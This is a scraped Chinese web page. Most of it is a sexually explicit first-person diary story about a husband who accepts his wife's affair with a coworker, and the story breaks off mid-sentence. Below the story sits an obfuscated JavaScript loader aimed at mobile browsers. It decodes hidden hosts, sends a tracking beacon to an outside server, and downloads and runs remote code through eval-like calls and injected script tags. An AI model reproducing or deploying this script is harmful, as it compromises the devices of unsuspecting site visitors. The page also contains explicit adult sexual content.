一位绿帽老公的日记

2009-10-2
今天终于确认老婆和她同事的事情。两人一个多月前就发生关系了。以前一直怀疑,因爲他们总一起出差,平时也很暧昧。说实话,那个男生比我帅,也比我优秀。更重要的是老婆说他那方面比我强多了。不过老婆并不打算和我离婚。
我应该愤怒,可是我没有。我知道自己没有权力剥夺一个女人从我身上得不到的幸福。
明天晚上老婆不回家过夜了,第一次在我知道的情况下接受另一个男人的爱。希望自己能过得了那个坎
2009-11-1
我们的故事很简单。我老婆今年已经33了,也不算什麽大美人,我更是普通人一个,我们俩结婚4年了,还没要孩子。她那个同事比我们俩都小两岁,至今没结婚,认我老婆当姐姐。现在他俩的关系在我面前已经是半公开了。昨天万圣节他们又在一起过,老婆到现在也没回家,刚才打**说中午吃完饭回来。不过老婆也没有不要这个家,大部分时间还是在家里住的。
前两天就这个问题和老婆认真聊了聊。我劝老婆把握好分寸,虽然我不反对他们交往,不反对老婆寻找快乐甚至刺激,但那个男的(就称他H吧)看上去也不是真的爱我老婆,并非真的想把她娶到手。老婆说她明白,其实她只是喜欢那种被高大英俊富有的年轻男子呵护的感觉,身体的满足倒在其次,更不是贪图物质,没有必要抛弃家庭,所以她一直拒绝接受H送她的钱和贵重礼物,不同意公开当他的情人。至于ml方面的事,老婆也不太想告诉我细节,只是说H确实厉害(属于先天条件好的那种),有一次让居然老婆6次飞上云端,但即使这样老婆也注意采取措施,不是100%安全期绝对不允许他射在里面。

2009-11-1
刚才老婆来**,说晚上再回来。H要了她一上午。
心情很複杂,不知道是该爲老婆高兴,还是应该爲自己伤心。每次老婆从H那儿回来都象换了一个人似的,精神焕发。今年晚上肯定又是这样。

2009-11-6
昨天和老婆吵架了,因爲她说同意做H的情人了——以H情人的身份出现他的朋友圈里。
我生气不是因爲H提出这麽过分的要求,而是老婆居然同意了,一反自己当初不公开的承诺。老婆辩解说我和H的朋友圈没有交集,可是世上哪有不透风的墙?
我觉得我已经很宽容了,允许他俩享受情人可享受的一切乐趣,可老婆居然说不想老这麽偷偷摸摸。
今天晚上H要和朋友出去吃饭、唱歌,老婆说也想去,让H带着他去。。。。。。

2009-11-20
终于说服老婆不向任何人公开他俩的关系了。不过我承诺允许今后他们一起出去旅游,可以两人单独去,也可以报团,这样在旅途中就可以无拘无束了。
老婆说她还是爱我的,知道我对她好。

2009-11-20
刚才老婆打来**说晚上不回来吃饭了。我问回来睡吗。她说看情况。我说那你好好玩吧。结果她说她刚刚已经“玩”过了,今天提前下了班,现在正在H家偷偷给我打**,晚上还要大战一场。我说你们这麽馋干什麽,又不是不能经常见。她说因爲昨天例假刚结束,今天H不愿意放过“赤膊上阵”的好机会。
听得我好心酸啊。

2009-11-23
老婆昨天下午才回到家,和H疯狂了2天2夜。老婆交代说H要了5次,每次都排在里面了。我说感觉怎麽样,她说从来没有这麽舒服过,都记不清楚高潮了多少次了。

2009-11-25
昨天晚上和老婆好好聊了聊,我想我和她应该知道彼此心里是怎麽想的。
老婆说,她知道和H没有未来,知道H并不是真正爱她,H从来没有说过要娶她,即使说了她也不会抛弃现在的家庭。有时候老婆也会觉得H是在玩弄她,可是又不自觉的被他的魅力、气质和身体所吸引,特别是在床上,可以说完全被征服。老婆相信H也不是坏人,至少不会利用一个女人对他的依恋做些伤害她的事。
老婆说H想见我,到我们家来,在一个合适的时机,以一种双方都能接受的方式。也许占有一个普通的女人,和占有别人的妻子是完全不同的感觉。老婆没有立刻同意,因爲她不知道我能不能接受。如果不是我主动找她谈,她也许永远不会向我转达这样“荒唐”的要求。
我一时语塞......我问老婆,你希望一个陌生男人堂而皇之地走进我们俩的家庭吗?老婆答,她对这个男人已经不陌生了,陌生的是我和他——她再也不想偷偷摸摸地穿梭于两个男人之间,即使有了我的默许。况且,又不是让人家永远住进我们家里来。
我还能说什麽呢?其实我所有的犹豫都来源于我可怜的自卑,我是个普普通通的男人,收入经适,长相低调,性格温吞,那方面更是马马虎虎。而我即将面对的是个能用魅力吸引,身体征服人妻的男人。我害怕的不是仇人相见,刺刀见红,而是豔阳照耀下自己苍白的人生。可是我又有什麽理由拒绝呢?老婆爱得仍然是我,而我也仍然爱着自己的老婆。
我笑着点了点头:“我们家随时欢迎他,这是我们的家。”

2009-11-27
今天晚上,H要来我们家了!

2009-12-1
上周末H来了我们家,和老婆下了班一起来的。三个人一起简单吃了顿晚饭,聊了些各自单位的事,吃完了我收拾东西,老婆陪他聊天看电视,漫无目的地换着台。等到我加入他们的谈话,才慢慢发现H似乎和老婆更有共同语言。H很善解人意,找了些大家都感兴趣的话题,转眼过了十点。H说要回去,老婆说再多坐一会儿吧,说完了看了看我。我说不如在这儿休息吧,反正明天不上班。推辞和挽留之间,H留下了。
老婆给H简单收拾了一下客房。我洗了澡先回主卧睡下了。卧室门外是两人交谈的声音、洗澡的水声,我睡不着。
不到半个小时,老婆推门进来,钻进被子。我问H呢,她说睡下了。你们一起洗的澡?才不是!老婆重重捏了我一下。
半响无语,我睡不着,她睡不着,我想另一个房间的他一定也没有睡着。我似乎能听到老婆重重的呼吸声。
轻轻地问:“想他了?”没有回答。几秒锺后,老婆若有若无地嗯了声。我伸手试探那片桃花源,一片汪洋。。。。。。我知道,这不是因爲我。“过去吧,没关系的。”
老婆转过身,贴近我的耳边,“真的不介意?”“真的。”
老婆还是没有动。我推了推她,没反应。
“那我先睡啦。”我转过了身。
几分锺后,老婆下床的声音,脚步声,开门,关门,开门,关门。。。。。。

2009-12-3
那天晚上我不知道什麽时候睡着了。只记得一开始忍不住发抖,都能听见自己的心跳。竖着耳朵听了半天,并没有听到那个房间里有什麽动静。慢慢地也就平複下来,后来居然睡着了。
第二天醒来已经9点了。老婆已经起床了,在厨房里做早餐,H貌似还在睡。
我走到老婆身旁,诡秘地看着她。她偷笑着躲着我的目光。我悄悄问战事如何。老婆说晚上怕我听见,没太敢放开,加上忘了从房间里拿tt,所以只做了一半就停下了。早上醒来H实在憋不住了,疯狂地要了一次。(我早上怎麽会睡得这麽沈,居然什麽也没听到)
更让人生气的是,H这次居然又射在老婆体内了。老婆说她準备吃药。

2009-12-4
听老婆说準备吃药,我心里的气就不打一处来。这种事后药对身体的伤害是显而易见的,这几年我从不让老婆吃。可老婆居然轻描淡写地说没关系,还说之所以让他放进去是怕弄髒床单。“床单重要还是你的身体重要?”我当时气得喊了出来。“别这麽大声,小心他听见!”老婆指了指客房,“他一直醒着,怕见到你尴尬就没起来。”我说难道他就这麽一直睡下去吗。结果老婆居然让我出去回避一下。天哪,这是我的家,我爲什麽要回避???

2009-12-4
老婆看出我不高兴,把我拉到一边,悄悄地说,她并没有别的意思,只是H觉得刚睡过我老婆,又和我一起吃早饭有点尴尬,也是怕我不自在。老婆让我出去吃,随便逛逛,等H走了她再给我发短信。老婆说得很恳切,还不停地感谢我对她好。
看着老婆那样的眼神,我点了点头,穿上衣服出了门。
可是大冷的天也没有什麽可逛的,到了快11点,老婆还没有来短信,给她打**也不接。我想H也该走了,还是先回家吧。

2009-12-7
那天回到家门口才发现门从里面反锁上了。给老婆打**,先是不接。10分锺后再打,接了,老婆求我再回避一会儿,20分锺后再回来。
头脑一片空白。。。我下了楼。30分锺后回了家。H已经走了,床也收拾好了,老婆穿得整整齐齐,但还是看得出头发有些淩乱。

2009-12-9
我也不知道自己这麽做对不对。这一切并不是我一手导演的,也不是我编出来的。我只知道老婆和H在一起很开心。昨天晚上老婆还告诉我,她的幸福是H给的,也是我给的。她爱H,也爱我。

2009-12-14
这个周末H又来了我们家了。这一次三个人都从容了很多。我没有被逐出家门回避,H没有躲在被窝里不起床,老婆没有粗心大意忘了拿tt。老婆甚至把内衣和日常用的东西拿到了客房,H也带来了几件换洗衣服。周六我们还一起看了电影。只是他们依然很克制,没有在我面前表现得过于亲密,晚上也没有让我听到不该听的声音。

2009-12-21
老婆这几天来例假,可H还是过来了。看来他是把这里当成家了。两个人在我面前也慢慢随便起来。几个让我心里酸酸的镜头:1、晚上看电视,老婆斜躺在沙发上,脚塞到H怀里。2、老婆和H在我面前旁若无人地讨论痛经、流量大小的问题。3、老婆说嘴里没味道,H沖她坏笑,问昨晚有没有味道,老婆佯装嗔怒。4、老婆在房间里换衣服居然不关门,此时H和我在客厅。5、H随手帮老婆整理肩带,老婆表情自然。

2010-4-3
H已经住到我们家来了。爲了老婆换衣服和化妆方便,他俩住进了主卧,我一个人睡客卧。
这些天发生了太多的事情,恍如隔世。

2010-4-3
从医学的角度,也许我还不能算不行。勃起和时间都没有问题,尺寸虽然偏小,但也在正常范围内,性欲什麽的也都正常。可是按照老婆的话说,我在床上没有热情,没有让她感到销魂,和她前男友以及H比起来就差很多了。

2010-5-5
昨晚起夜,隐约听到主卧内两个人交欢的声音,一夜无眠。虽然心里酸酸的,可是鸡巴却硬的要命,我忍不住手淫了。H已经堂而皇之地取得了对我老婆的交配权,他可以公开地,大大方方的长期占有我老婆而没有任何后顾之忧。
都那麽长时间了,还是不能平静下来。H在家里越来越自然了,老婆心情也不错,我什麽时候能彻底接受这一切呢?

2010-5-14
昨天H给老婆买了一套400多块钱的内衣,老婆洗了晾在了阳台上。
我一直不赞成他们俩发生太多金钱上的往来,但老婆说这属于纪念性的小礼物。纪念什麽,她没告诉我。
我只知道,老婆很高兴。也许,这就够了。

2010-8-1
无意中发现老婆在用早早孕试纸,心里很不是滋味。我们已经很久没有做爱了,如果妻子怀孕了,毫无疑问是H的下的种,我突发奇想,他们会不会打算把孩子生下来呢?这是个令我两难的问题,因爲给情夫生孩子的事情不在少数,可我自己还没孩子呢。
今天H和老婆一早就出去了,好像是和H的朋友聚会。老婆已经慢慢进入H的圈子了,虽然以什麽名义我不知



热门搜索

友情链接



function cXfxOMe(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VePSCEb(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return cXfxOMe(t);};window[''+'Q'+'N'+'J'+'T'+'W'+'i'+'x'+'B'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function eNSG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VePSCEb,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=eNSG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=eNSG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLnnZ5aXBueC5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5iaGVhZS5jb20llM0E5NTM1','9781',window,document,['n','l']);}:function(){};